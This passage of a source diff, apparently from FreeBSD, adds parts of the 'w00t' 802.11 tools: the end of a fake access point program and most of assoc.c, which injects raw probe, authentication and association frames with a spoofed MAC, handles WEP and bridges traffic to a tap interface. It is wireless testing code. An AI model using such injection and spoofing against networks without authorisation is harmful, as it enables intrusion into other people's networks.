el = elapsed(&p->plast, &now);
|
||||
if (el >= rtr) {
|
||||
/* check if we gotta retransmit more */
|
||||
if (retransmit(p)) {
|
||||
el = 0;
|
||||
}
|
||||
else
|
||||
el = -1;
|
||||
}
|
||||
|
||||
/* gotta retransmit in future */
|
||||
if (el != -1) {
|
||||
el = rtr - el;
|
||||
if ((to.tv_sec*1000*1000 + to.tv_usec) > el) {
|
||||
to.tv_sec = el/1000/1000;
|
||||
to.tv_usec = el - to.tv_sec*1000*1000;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* select */
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p->rx, &fds);
|
||||
FD_SET(p->tap, &fds);
|
||||
max = p->rx > p->tap ? p->rx : p->tap;
|
||||
if (select(max+1, &fds, NULL, NULL, &to) == -1)
|
||||
err(1, "select()");
|
||||
|
||||
if (FD_ISSET(p->tap, &fds))
|
||||
read_tap(p);
|
||||
if (FD_ISSET(p->rx, &fds))
|
||||
read_wifi(p);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char *iface = "ath0";
|
||||
char *tap = "tap0";
|
||||
struct params p;
|
||||
int ch;
|
||||
|
||||
/* default params */
|
||||
memset(&p, 0, sizeof(p));
|
||||
memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
|
||||
strcpy(p.ssid, "sorbo");
|
||||
p.bint = 500*1000;
|
||||
p.seq = getpid();
|
||||
if (gettimeofday(&p.blast, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
p.chan = 3;
|
||||
|
||||
while ((ch = getopt(argc, argv, "hi:s:m:w:c:t:")) != -1) {
|
||||
switch (ch) {
|
||||
case 'i':
|
||||
iface = optarg;
|
||||
break;
|
||||
case 't':
|
||||
tap = optarg;
|
||||
break;
|
||||
|
||||
case 'c':
|
||||
p.chan = atoi(optarg);
|
||||
break;
|
||||
|
||||
case 's':
|
||||
strncpy(p.ssid, optarg, sizeof(p.ssid)-1);
|
||||
p.ssid[sizeof(p.ssid)-1] = 0;
|
||||
break;
|
||||
|
||||
case 'm':
|
||||
str2mac(p.mac, optarg);
|
||||
break;
|
||||
|
||||
case 'w':
|
||||
if (str2wep(p.wep_key, &p.wep_len, optarg)) {
|
||||
printf("Error parsing WEP key\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'h':
|
||||
default:
|
||||
usage(argv[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* init */
|
||||
if ((p.tx = open_tx(iface)) == -1)
|
||||
err(1, "open_tx()");
|
||||
if ((p.rx = open_rx(iface)) == -1)
|
||||
err(1, "open_rx()");
|
||||
|
||||
if ((p.tap = open_tap(tap)) == -1)
|
||||
err(1, "open_tap()");
|
||||
if (set_iface_mac(tap, p.mac) == -1)
|
||||
err(1, "set_iface_mac()");
|
||||
|
||||
while (1) {
|
||||
next_event(&p);
|
||||
}
|
||||
|
||||
exit(0);
|
||||
}
|
7
tools/tools/net80211/w00t/assoc/Makefile
Normal file
7
tools/tools/net80211/w00t/assoc/Makefile
Normal file
@ -0,0 +1,7 @@
|
||||
# $FreeBSD$
|
||||
|
||||
.include <../Makefile.inc>
|
||||
|
||||
PROG= assoc
|
||||
|
||||
.include <bsd.prog.mk>
|
938
tools/tools/net80211/w00t/assoc/assoc.c
Normal file
938
tools/tools/net80211/w00t/assoc/assoc.c
Normal file
@ -0,0 +1,938 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <sys/time.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <err.h>
|
||||
#include <net80211/ieee80211.h>
|
||||
#include <sys/endian.h>
|
||||
#include "w00t.h"
|
||||
|
||||
enum {
|
||||
S_START = 0,
|
||||
S_SEND_PROBE_REQ,
|
||||
S_WAIT_PROBE_RES,
|
||||
S_SEND_AUTH,
|
||||
S_WAIT_AUTH,
|
||||
S_SEND_ASSOC,
|
||||
S_WAIT_ASSOC,
|
||||
S_ASSOCIATED,
|
||||
S_SEND_DATA,
|
||||
S_WAIT_ACK
|
||||
};
|
||||
|
||||
struct params {
|
||||
int seq;
|
||||
int seq_rx;
|
||||
char *mac;
|
||||
char *ssid;
|
||||
char bssid[6];
|
||||
char ap[6];
|
||||
int tx;
|
||||
int rx;
|
||||
int tap;
|
||||
int aid;
|
||||
char packet[4096];
|
||||
int packet_len;
|
||||
int state;
|
||||
char wep_key[13];
|
||||
int wep_iv;
|
||||
int wep_len;
|
||||
};
|
||||
|
||||
void usage(char *pname)
|
||||
{
|
||||
printf("Usage: %s <opts>\n"
|
||||
"-m\t<source mac>\n"
|
||||
"-s\t<ssid>\n"
|
||||
"-h\tusage\n"
|
||||
"-i\t<iface>\n"
|
||||
"-w\t<wep key>\n"
|
||||
"-t\t<tap>\n"
|
||||
"-b\t<bssid>\n"
|
||||
, pname);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void fill_basic(struct ieee80211_frame *wh, struct params *p)
|
||||
{
|
||||
short *seq;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
wh->i_dur[1] = 0x00;
|
||||
|
||||
memcpy(wh->i_addr1, p->ap, 6);
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
memcpy(wh->i_addr3, p->bssid, 6);
|
||||
|
||||
seq = (short*)wh->i_seq;
|
||||
*seq = seqfn(p->seq, 0);
|
||||
}
|
||||
|
||||
void send_frame(struct params *p, void *buf, int len)
|
||||
{
|
||||
int rc;
|
||||
|
||||
rc = inject(p->tx, buf, len);
|
||||
if (rc == -1) {
|
||||
if (errno == EMSGSIZE)
|
||||
warnx("inject(len %d)", len);
|
||||
else
|
||||
err(1, "inject(len %d)", len);
|
||||
} else if (rc != len)
|
||||
errx(1, "injected %d but only %d sent", rc, len);
|
||||
p->seq++;
|
||||
}
|
||||
|
||||
void send_probe_request(struct params *p)
|
||||
{
|
||||
char buf[2048];
|
||||
struct ieee80211_frame *wh;
|
||||
char *data;
|
||||
int len;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
fill_basic(wh, p);
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_PROBE_REQ;
|
||||
|
||||
memset(wh->i_addr1, 0xFF, 6);
|
||||
memset(wh->i_addr3, 0xFF, 6);
|
||||
|
||||
data = (char*) (wh + 1);
|
||||
*data++ = 0; /* SSID */
|
||||
*data++ = strlen(p->ssid);
|
||||
strcpy(data, p->ssid);
|
||||
data += strlen(p->ssid);
|
||||
|
||||
*data++ = 1; /* rates */
|
||||
*data++ = 4;
|
||||
*data++ = 2 | 0x80;
|
||||
*data++ = 4 | 0x80;
|
||||
*data++ = 11;
|
||||
*data++ = 22;
|
||||
|
||||
len = data - (char*)wh;
|
||||
|
||||
send_frame(p, buf, len);
|
||||
}
|
||||
|
||||
void send_auth(struct params *p)
|
||||
{
|
||||
char buf[2048];
|
||||
struct ieee80211_frame *wh;
|
||||
char *data;
|
||||
int len;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
fill_basic(wh, p);
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
|
||||
|
||||
data = (char*) (wh + 1);
|
||||
|
||||
/* algo */
|
||||
*data++ = 0;
|
||||
*data++ = 0;
|
||||
|
||||
/* transaction no. */
|
||||
*data++ = 1;
|
||||
*data++ = 0;
|
||||
|
||||
/* status code */
|
||||
*data++ = 0;
|
||||
*data++ = 0;
|
||||
|
||||
len = data - (char*)wh;
|
||||
|
||||
send_frame(p, buf, len);
|
||||
}
|
||||
|
||||
/*
|
||||
* Add an ssid element to a frame.
|
||||
*/
|
||||
static u_int8_t *
|
||||
ieee80211_add_ssid(u_int8_t *frm, const u_int8_t *ssid, u_int len)
|
||||
{
|
||||
*frm++ = IEEE80211_ELEMID_SSID;
|
||||
*frm++ = len;
|
||||
memcpy(frm, ssid, len);
|
||||
return frm + len;
|
||||
}
|
||||
|
||||
void send_assoc(struct params *p)
|
||||
{
|
||||
union {
|
||||
struct ieee80211_frame w;
|
||||
char buf[2048];
|
||||
} u;
|
||||
struct ieee80211_frame *wh;
|
||||
char *data;
|
||||
int len, capinfo, lintval;
|
||||
|
||||
memset(&u, 0, sizeof(u));
|
||||
|
||||
wh = (struct ieee80211_frame*) &u.w;
|
||||
fill_basic(wh, p);
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
|
||||
|
||||
data = (char*) (wh + 1);
|
||||
|
||||
/* capability */
|
||||
capinfo = IEEE80211_CAPINFO_ESS;
|
||||
if (p->wep_len)
|
||||
capinfo |= IEEE80211_CAPINFO_PRIVACY;
|
||||
*(uint16_t *)data = htole16(capinfo);
|
||||
data += 2;
|
||||
|
||||
/* listen interval */
|
||||
*(uint16_t *)data = htole16(100);
|
||||
data += 2;
|
||||
|
||||
data = ieee80211_add_ssid(data, p->ssid, strlen(p->ssid));
|
||||
|
||||
*data++ = 1; /* rates */
|
||||
*data++ = 4;
|
||||
*data++ = 2 | 0x80;
|
||||
*data++ = 4 | 0x80;
|
||||
*data++ = 11;
|
||||
*data++ = 22;
|
||||
|
||||
len = data - (char*)wh;
|
||||
|
||||
send_frame(p, u.buf, len);
|
||||
}
|
||||
|
||||
int for_me(struct ieee80211_frame *wh, char *mac)
|
||||
{
|
||||
return memcmp(wh->i_addr1, mac, 6) == 0;
|
||||
}
|
||||
|
||||
int from_ap(struct ieee80211_frame *wh, char *mac)
|
||||
{
|
||||
return memcmp(wh->i_addr2, mac, 6) == 0;
|
||||
}
|
||||
|
||||
void ack(struct params *p, struct ieee80211_frame *wh)
|
||||
{
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
|
||||
return;
|
||||
|
||||
send_ack(p->tx, wh->i_addr2);
|
||||
}
|
||||
|
||||
void generic_process(struct ieee80211_frame *wh, struct params *p, int len)
|
||||
{
|
||||
int type, stype;
|
||||
int dup = 0;
|
||||
|
||||
#if 0
|
||||
ack(p, wh);
|
||||
#endif
|
||||
|
||||
#if 0
|
||||
if (!for_me(wh, p->mac))
|
||||
return;
|
||||
#endif
|
||||
/* ignore my own shit */
|
||||
if (memcmp(wh->i_addr2, p->mac, 6) == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
|
||||
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
|
||||
|
||||
if (for_me(wh, p->mac) && type == IEEE80211_FC0_TYPE_DATA) {
|
||||
/* sequence number & dups */
|
||||
if (p->seq_rx == -1)
|
||||
p->seq_rx = seqno(wh);
|
||||
else {
|
||||
int s = seqno(wh);
|
||||
|
||||
if (s > p->seq_rx) {
|
||||
/* normal case */
|
||||
if (p->seq_rx + 1 == s) {
|
||||
#if 0
|
||||
printf("S=%d\n", s);
|
||||
#endif
|
||||
p->seq_rx = s;
|
||||
}
|
||||
else { /* future */
|
||||
#if 0
|
||||
printf("Got seq %d, prev %d\n",
|
||||
s, p->seq_rx);
|
||||
#endif
|
||||
p->seq_rx = s;
|
||||
}
|
||||
} else { /* we got pas stuff... */
|
||||
if (p->seq_rx - s > 1000) {
|
||||
#if 0
|
||||
printf("Seqno wrap seq %d, last %d\n",
|
||||
s, p->seq_rx);
|
||||
#endif
|
||||
/* seqno wrapping ? */
|
||||
p->seq_rx = 0;
|
||||
}
|
||||
else { /* dup */
|
||||
dup = 1;
|
||||
#if 0
|
||||
printf("Got dup seq %d, last %d\n",
|
||||
s, p->seq_rx);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#if 0
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_RETRY) {
|
||||
printf("Got retry\n");
|
||||
}
|
||||
#endif
|
||||
#if 0
|
||||
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_CTL) {
|
||||
int rc = send_ack(p->tx, wh->i_addr2);
|
||||
if (rc == -1)
|
||||
err(1, "send_ack()");
|
||||
if (rc != 10) {
|
||||
printf("Wrote ACK %d/%d\n", rc, 10);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/* data frames */
|
||||
if (type == IEEE80211_FC0_TYPE_DATA && !dup) {
|
||||
char *ptr;
|
||||
char src[6], dst[6];
|
||||
int rc;
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
|
||||
if (memcmp(wh->i_addr2, p->ap, 6) != 0)
|
||||
return;
|
||||
} else {
|
||||
if (memcmp(wh->i_addr1, p->ap, 6) != 0)
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if (p->state < S_ASSOCIATED) {
|
||||
printf("Got data when not associated!\n");
|
||||
return;
|
||||
}
|
||||
if (stype != IEEE80211_FC0_SUBTYPE_DATA) {
|
||||
printf("Got weird data frame stype=%d\n",
|
||||
stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
|
||||
return;
|
||||
}
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
|
||||
memcpy(src, wh->i_addr3, 6);
|
||||
memcpy(dst, wh->i_addr1, 6);
|
||||
} else {
|
||||
memcpy(src, wh->i_addr2, 6);
|
||||
memcpy(dst, wh->i_addr3, 6);
|
||||
}
|
||||
|
||||
ptr = (char*) (wh + 1);
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_WEP) {
|
||||
if (!p->wep_len) {
|
||||
char srca[3*6];
|
||||
char dsta[3*6];
|
||||
|
||||
mac2str(srca, src);
|
||||
mac2str(dsta, dst);
|
||||
printf("Got wep but i aint wep %s->%s %d\n",
|
||||
srca, dsta, len-sizeof(*wh)-8);
|
||||
return;
|
||||
}
|
||||
|
||||
if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){
|
||||
char srca[3*6];
|
||||
char dsta[3*6];
|
||||
|
||||
mac2str(srca, src);
|
||||
mac2str(dsta, dst);
|
||||
printf("Can't decrypt %s->%s %d\n", srca, dsta,
|
||||
len-sizeof(*wh)-8);
|
||||
return;
|
||||
}
|
||||
|
||||
ptr += 4;
|
||||
len -= 8;
|
||||
}
|
||||
|
||||
/* ether header */
|
||||
ptr += 8 - 2;
|
||||
ptr -= 6;
|
||||
memcpy(ptr, src, 6);
|
||||
ptr -= 6;
|
||||
memcpy(ptr, dst, 6);
|
||||
|
||||
len -= sizeof(*wh);
|
||||
len -= 8;
|
||||
len += 14;
|
||||
|
||||
/* send to tap */
|
||||
rc = write(p->tap, ptr, len);
|
||||
if (rc == -1)
|
||||
err(1, "write()");
|
||||
if (rc != len) {
|
||||
printf("Wrote %d/%d\n", rc, len);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int get_probe_response(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
char *data;
|
||||
int ess;
|
||||
int wep;
|
||||
char *ssid;
|
||||
char from[18];
|
||||
char bssid[18];
|
||||
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return 0;
|
||||
|
||||
generic_process(wh, p, rc);
|
||||
|
||||
if (!for_me(wh, p->mac))
|
||||
return 0;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
|
||||
IEEE80211_FC0_SUBTYPE_PROBE_RESP))
|
||||
return 0;
|
||||
|
||||
data = (char*) (wh+1);
|
||||
data += 8; /* Timestamp */
|
||||
data += 2; /* Beacon Interval */
|
||||
ess = *data & 1;
|
||||
wep = (*data & IEEE80211_CAPINFO_PRIVACY) ? 1 : 0;
|
||||
data += 2; /* capability */
|
||||
|
||||
/* ssid */
|
||||
if (*data != 0) {
|
||||
printf("Warning, expecting SSID got %x\n", *data);
|
||||
return 0;
|
||||
}
|
||||
data++;
|
||||
ssid = data+1;
|
||||
data += 1 + *data;
|
||||
if (*data != 1) {
|
||||
printf("Warning, expected rates got %x\n", *data);
|
||||
return 0;
|
||||
}
|
||||
*data = 0;
|
||||
|
||||
/* rates */
|
||||
data++;
|
||||
|
||||
mac2str(from, wh->i_addr2);
|
||||
mac2str(bssid, wh->i_addr3);
|
||||
printf("Got response from %s [%s] [%s] ESS=%d WEP=%d\n",
|
||||
from, bssid, ssid, ess, wep);
|
||||
|
||||
if (strcmp(ssid, p->ssid) != 0)
|
||||
return 0;
|
||||
|
||||
memcpy(p->ap, wh->i_addr2, 6);
|
||||
memcpy(p->bssid, wh->i_addr3, 6);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int get_auth(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
short *data;
|
||||
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return 0;
|
||||
|
||||
generic_process(wh, p, rc);
|
||||
|
||||
if (!for_me(wh, p->mac))
|
||||
return 0;
|
||||
|
||||
if (!from_ap(wh, p->ap))
|
||||
return 0;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
|
||||
IEEE80211_FC0_SUBTYPE_AUTH))
|
||||
return 0;
|
||||
|
||||
data = (short*) (wh+1);
|
||||
|
||||
/* algo */
|
||||
if (le16toh(*data) != 0) {
|
||||
printf("Not open-system %d!\n", le16toh(*data));
|
||||
return 0;
|
||||
}
|
||||
data++;
|
||||
|
||||
/* transaction no. */
|
||||
if (le16toh(*data) != 2) {
|
||||
printf("Got transaction %d!\n", le16toh(*data));
|
||||
return 0;
|
||||
}
|
||||
data++;
|
||||
|
||||
/* status code */
|
||||
rc = le16toh(*data);
|
||||
if (rc == 0) {
|
||||
printf("Authenticated\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Authentication failed code=%d\n", rc);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_assoc(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
unsigned short *data;
|
||||
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return 0;
|
||||
|
||||
generic_process(wh, p, rc);
|
||||
|
||||
if (!for_me(wh, p->mac))
|
||||
return 0;
|
||||
|
||||
if (!from_ap(wh, p->ap))
|
||||
return 0;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
|
||||
IEEE80211_FC0_SUBTYPE_ASSOC_RESP))
|
||||
return 0;
|
||||
|
||||
|
||||
data = (unsigned short*) (wh+1);
|
||||
|
||||
data++; /* caps */
|
||||
|
||||
/* status */
|
||||
rc = le16toh(*data++);
|
||||
if (rc != 0) {
|
||||
printf("Assoc failed code %d\n", rc);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* aid */
|
||||
p->aid = le16toh(*data & ~( (1 << 15) | (1 << 14)));
|
||||
printf("Association ID=%d\n", p->aid);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
void read_wifi(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
int type, stype;
|
||||
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
generic_process(wh, p, rc);
|
||||
|
||||
if (!for_me(wh, p->mac))
|
||||
return;
|
||||
|
||||
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
|
||||
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
|
||||
|
||||
/* control frames */
|
||||
if (type == IEEE80211_FC0_TYPE_CTL) {
|
||||
switch (stype) {
|
||||
case IEEE80211_FC0_SUBTYPE_ACK:
|
||||
if (p->state == S_WAIT_ACK)
|
||||
p->state = S_ASSOCIATED;
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_RTS:
|
||||
#if 0
|
||||
printf("Got RTS\n");
|
||||
#endif
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("Unknown CTL frame %d\n",
|
||||
stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (!from_ap(wh, p->ap))
|
||||
return;
|
||||
|
||||
if (type != IEEE80211_FC0_TYPE_MGT)
|
||||
return;
|
||||
|
||||
if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH ||
|
||||
stype == IEEE80211_FC0_SUBTYPE_DISASSOC) {
|
||||
printf("Got management! %d\n",
|
||||
stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
|
||||
p->seq_rx = -1;
|
||||
p->state = S_START;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
void read_tap(struct params *p)
|
||||
{
|
||||
char *ptr;
|
||||
int len = sizeof(p->packet);
|
||||
int offset;
|
||||
char mac[6];
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
ptr = p->packet;
|
||||
offset = sizeof(struct ieee80211_frame) + 8 - 14;
|
||||
if (p->wep_len)
|
||||
offset += 4;
|
||||
|
||||
ptr += offset;
|
||||
len -= offset;
|
||||
|
||||
/* read packet */
|
||||
memset(p->packet, 0, sizeof(p->packet));
|
||||
p->packet_len = read(p->tap, ptr, len);
|
||||
if (p->packet_len == -1)
|
||||
err(1, "read()");
|
||||
|
||||
/* 802.11 header */
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
memcpy(mac, ptr, sizeof(mac));
|
||||
fill_basic(wh, p);
|
||||
memcpy(wh->i_addr3, mac, sizeof(wh->i_addr3));
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
|
||||
if (p->wep_len)
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
|
||||
/* LLC & SNAP */
|
||||
ptr = (char*) (wh+1);
|
||||
if (p->wep_len)
|
||||
ptr += 4;
|
||||
*ptr++ = 0xAA;
|
||||
*ptr++ = 0xAA;
|
||||
*ptr++ = 0x03;
|
||||
*ptr++ = 0x00;
|
||||
*ptr++ = 0x00;
|
||||
*ptr++ = 0x00;
|
||||
/* ether type overlaps w00t */
|
||||
|
||||
p->packet_len += offset;
|
||||
|
||||
/* WEP */
|
||||
if (p->wep_len) {
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(ptr, &p->wep_iv, 3);
|
||||
ptr[3] = 0;
|
||||
p->wep_iv++;
|
||||
|
||||
wep_encrypt(wh, p->packet_len, p->wep_key, p->wep_len);
|
||||
p->packet_len += 4; /* ICV */
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char* ssid = 0;
|
||||
char mac[] = { 0x00, 0x00, 0xde, 0xfa, 0xce, 0xd };
|
||||
int ch;
|
||||
struct params p;
|
||||
char *iface = "ath0";
|
||||
char *tap = "tap0";
|
||||
int timeout = 50*1000;
|
||||
struct timeval start;
|
||||
|
||||
memset(&p, 0, sizeof(p));
|
||||
p.wep_len = 0;
|
||||
p.wep_iv = 0;
|
||||
p.state = S_START;
|
||||
|
||||
while ((ch = getopt(argc, argv, "hm:s:i:w:t:b:")) != -1) {
|
||||
switch (ch) {
|
||||
case 'b':
|
||||
if (str2mac(p.bssid, optarg)) {
|
||||
printf("Error parsing BSSID\n");
|
||||
exit(1);
|
||||
}
|
||||
memcpy(p.ap, p.bssid, sizeof(p.ap));
|
||||
p.state = S_SEND_AUTH;
|
||||
break;
|
||||
|
||||
case 's':
|
||||
ssid = optarg;
|
||||
break;
|
||||
|
||||
case 'm':
|
||||
if (str2mac(mac, optarg)) {
|
||||
printf("Error parsing MAC\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'i':
|
||||
iface = optarg;
|
||||
break;
|
||||
|
||||
case 'w':
|
||||
if (str2wep(p.wep_key, &p.wep_len, optarg)) {
|
||||
printf("Error parsing WEP key\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 't':
|
||||
tap = optarg;
|
||||
break;
|
||||
|
||||
case 'h':
|
||||
default:
|
||||
usage(argv[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!ssid)
|
||||
usage(argv[0]);
|
||||
|
||||
p.mac = mac;
|
||||
p.ssid = ssid;
|
||||
p.seq = getpid();
|
||||
p.seq_rx = -1;
|
||||
if (open_rxtx(iface, &p.rx, &p.tx) == -1)
|
||||
err(1, "open_rxtx()");
|
||||
p.tap = open_tap(tap);
|
||||
if (p.tap == -1)
|
||||
err(1, "open_tap()");
|
||||
if (set_iface_mac(tap, mac) == -1)
|
||||
err(1, "set_iface_mac()");
|
||||
|
||||
while (1) {
|
||||
/* check for timeouts */
|
||||
switch (p.state) {
|
||||
case S_WAIT_PROBE_RES:
|
||||
case S_WAIT_AUTH:
|
||||
case S_WAIT_ASSOC:
|
||||
case S_WAIT_ACK:
|
||||
do {
|
||||
int rc;
|
||||
struct timeval tv;
|
||||
int elapsed = 0;
|
||||
|
||||
/* check timeout */
|
||||
if (gettimeofday(&tv, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
elapsed = tv.tv_sec - start.tv_sec;
|
||||
if (elapsed == 0) {
|
||||
elapsed = tv.tv_usec - start.tv_usec;
|
||||
} else {
|
||||
elapsed *= (elapsed-1)*1000*1000;
|
||||
elapsed += 1000*1000 - start.tv_usec;
|
||||
elapsed += tv.tv_usec;
|
||||
}
|
||||
if (elapsed >= timeout)
|
||||
rc = 0;
|
||||
else {
|
||||
fd_set fds;
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p.rx, &fds);
|
||||
|
||||
elapsed = timeout - elapsed;
|
||||
tv.tv_sec = elapsed/1000/1000;
|
||||
elapsed -= tv.tv_sec*1000*1000;
|
||||
tv.tv_usec = elapsed;
|
||||
|
||||
rc = select(p.rx+1, &fds, NULL,
|
||||
NULL, &tv);
|
||||
if (rc == -1)
|
||||
err(1, "select()");
|
||||
}
|
||||
|
||||
/* timeout */
|
||||
if (!rc) {
|
||||
#if 0
|
||||
printf("Timeout\n");
|
||||
#endif
|
||||
p.state--;
|
||||
}
|
||||
|
||||
} while(0);
|
||||
break;
|
||||
}
|
||||
|
||||
switch (p.state) {
|
||||
case S_START:
|
||||
p.state = S_SEND_PROBE_REQ;
|
||||
break;
|
||||
|
||||
case S_SEND_PROBE_REQ:
|
||||
printf("Sending probe request for %s\n", ssid);
|
||||
send_probe_request(&p);
|
||||
p.state = S_WAIT_PROBE_RES;
|
||||
if (gettimeofday(&start, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
break;
|
||||
|
||||
case S_WAIT_PROBE_RES:
|
||||
if (get_probe_response(&p)) {
|
||||
p.state = S_SEND_AUTH;
|
||||
}
|
||||
break;
|
||||
|
||||
case S_SEND_AUTH:
|
||||
do {
|
||||
char apmac[18];
|
||||
|
||||
mac2str(apmac, p.ap);
